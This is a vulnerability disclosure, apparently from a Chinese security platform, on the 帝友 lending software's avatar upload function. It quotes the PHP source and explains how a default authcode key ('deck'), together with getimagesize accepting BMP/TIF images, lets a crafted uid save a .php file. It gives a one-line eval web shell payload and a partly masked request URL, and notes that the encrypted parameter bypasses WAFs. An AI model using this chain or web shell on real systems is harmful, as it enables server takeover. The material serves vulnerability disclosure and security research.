### 简要描述: 唉……这代码质量,顿时给跪下了。 ### 详细说明: 这个洞洞需要结合上次爆的默认密钥一起来爽。 ====================上集回顾==================== 帝友在整个程序中使用了自定义的对称加密方式(通常被定义为authcode或类似名称),而如果不显式指定或修改源码,函数将会调用默认密钥。这是本漏洞触发的前置条件。 ===================上集回顾完=================== 随着审计工作的愉快进行,我发现到/plugins/avatar/avatar.class.php中一个方法长得很有趣: ``` function onuploadavatar() { @header("Expires: 0"); @header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE); @header("Pragma: no-cache"); //header("Content-type: application/xml; charset=utf-8"); $this->init_input($this->getgpc('agent', 'G')); $uid = $this->input('uid'); if(empty($uid)) { return -1; } if(empty($_FILES['Filedata'])) { return -3; } list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']); $imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png'); $filetype = $imgtype[$type]; $tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype; //【这里拼合了$uid和$filetype两个变量作为move_uploaded_file的参数】 file_exists($tmpavatar) && @unlink($tmpavatar);...
### 简要描述: 唉……这代码质量,顿时给跪下了。 ### 详细说明: 这个洞洞需要结合上次爆的默认密钥一起来爽。 ====================上集回顾==================== 帝友在整个程序中使用了自定义的对称加密方式(通常被定义为authcode或类似名称),而如果不显式指定或修改源码,函数将会调用默认密钥。这是本漏洞触发的前置条件。 ===================上集回顾完=================== 随着审计工作的愉快进行,我发现到/plugins/avatar/avatar.class.php中一个方法长得很有趣: ``` function onuploadavatar() { @header("Expires: 0"); @header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE); @header("Pragma: no-cache"); //header("Content-type: application/xml; charset=utf-8"); $this->init_input($this->getgpc('agent', 'G')); $uid = $this->input('uid'); if(empty($uid)) { return -1; } if(empty($_FILES['Filedata'])) { return -3; } list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']); $imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png'); $filetype = $imgtype[$type]; $tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype; //【这里拼合了$uid和$filetype两个变量作为move_uploaded_file的参数】 file_exists($tmpavatar) && @unlink($tmpavatar); if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) { @unlink($_FILES['Filedata']['tmp_name']); list($width, $height, $type, $attr) = getimagesize($tmpavatar); if($width < 10 || $height < 10 || $type == 4) { @unlink($tmpavatar); return -2; } } else { @unlink($_FILES['Filedata']['tmp_name']); return -4; } $avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype; return $avatarurl; } ``` 我们重点来关心$uid和$filetype是否可控。 $uid赋值来自于 ``` $uid = $this->input('uid'); ``` 而$filetype则来自于$imgtype数组中的元素。 ``` $filetype = $imgtype[$type] ``` 首先来看input方法: ``` function input($k) { return isset($this->input[$k]) ? (is_array($this->input[$k]) ? $this->input[$k] : trim($this->input[$k])) : NULL; } ``` input方法只是简单的返回了当前对象的input属性数组中对应元素或者null。我们可以发现,在onuploadavatar方法中,init_input方法会被调用。而这个init_input方法干了啥事儿: ``` function init_input($getagent = '') { $input = $this->getgpc('input', 'R'); //【这里直接引用了用户传递进来的input参数】 if($input) { $input = $this->authcode($input, 'DECODE', 'deck'); //【全国人民喜闻乐见的authcode出现了!这里指定了默认密钥deck!】 parse_str($input, $this->input); $this->input = $this->daddslashes($this->input, 1, TRUE); $agent = $getagent ? $getagent : $this->input['agent']; if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) { exit('Access denied for agent changed'); } elseif($this->time - $this->input('time') > 3600) { exit('Authorization has expired'); } } if(empty($this->input)) { exit('Invalid input'); } } ``` 看到authcode我就放心的知道,这里存在默认密钥的利用点。换句话说,被init_input解码的参数如果来自于用户,则在未修改此处代码的情况下【可控】。 这时候,如果这个点要能被利用,那么还需要满足后缀可控。但是,程序中使用了一个不是来自用户的变量(依据getimagesize函数返回值)去向$filetype赋值,而且强制指定了jpg/png/gif三种扩展名。 我们来到世界上最好的语言PHP的官网上查找getimagesize的说明。机智的我发现了这一点: [<img src="https://images.seebug.org/upload/201506/062353371edcbf5a9b61ac9e74cad68fa338121d.jpg" alt="getimagesize" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/062353371edcbf5a9b61ac9e74cad68fa338121d.jpg) getimagesize除了能识别jpg/png/gif之外还他喵的能处理其他多种类型的图片。于是,我进行这些尝试: [<img src="https://images.seebug.org/upload/201506/06235630ffb4ba127d8ef488df5e709c401a4589.png" alt="bmp" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/06235630ffb4ba127d8ef488df5e709c401a4589.png) [<img src="https://images.seebug.org/upload/201506/06235755a2aaf3903d765cf9be07b1f8c9b2db2c.png" alt="tif" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/06235755a2aaf3903d765cf9be07b1f8c9b2db2c.png) 可以发现,如果使用bmp或者tif的图片文件可以让getimagesize返回值数组的第三个元素不落在$imgtype的键名中。 在PHP中,拼合一个不存在键名的数组元素等于拼合空数组。 此时,PoC可以使用以下方式构造: $uid = (解码后)fuckyou.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。 调用默认加密过程将特殊的$uid转换为base64,然后直接向 {打个码吧,免得太直白了}?m=user&inajax=1&a=uploadavatar&appid=1&input={啦啦啦不告诉你}&agent=hahahahahahah&avatartype=virtual 提交上传请求,接着访问一下,哟吼~ [<img src="https://images.seebug.org/upload/201506/0700093788044b718de8a4fc356f03b4aec8bdd0.png" alt="Webshell" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/0700093788044b718de8a4fc356f03b4aec8bdd0.png) (P.S:由于帝友使用了加密参数,所有这个洞能bypass掉各种waf,自带打狗棒的节奏不能更爽……) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201506/0700093788044b718de8a4fc356f03b4aec8bdd0.png" alt="Webshell" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/0700093788044b718de8a4fc356f03b4aec8bdd0.png)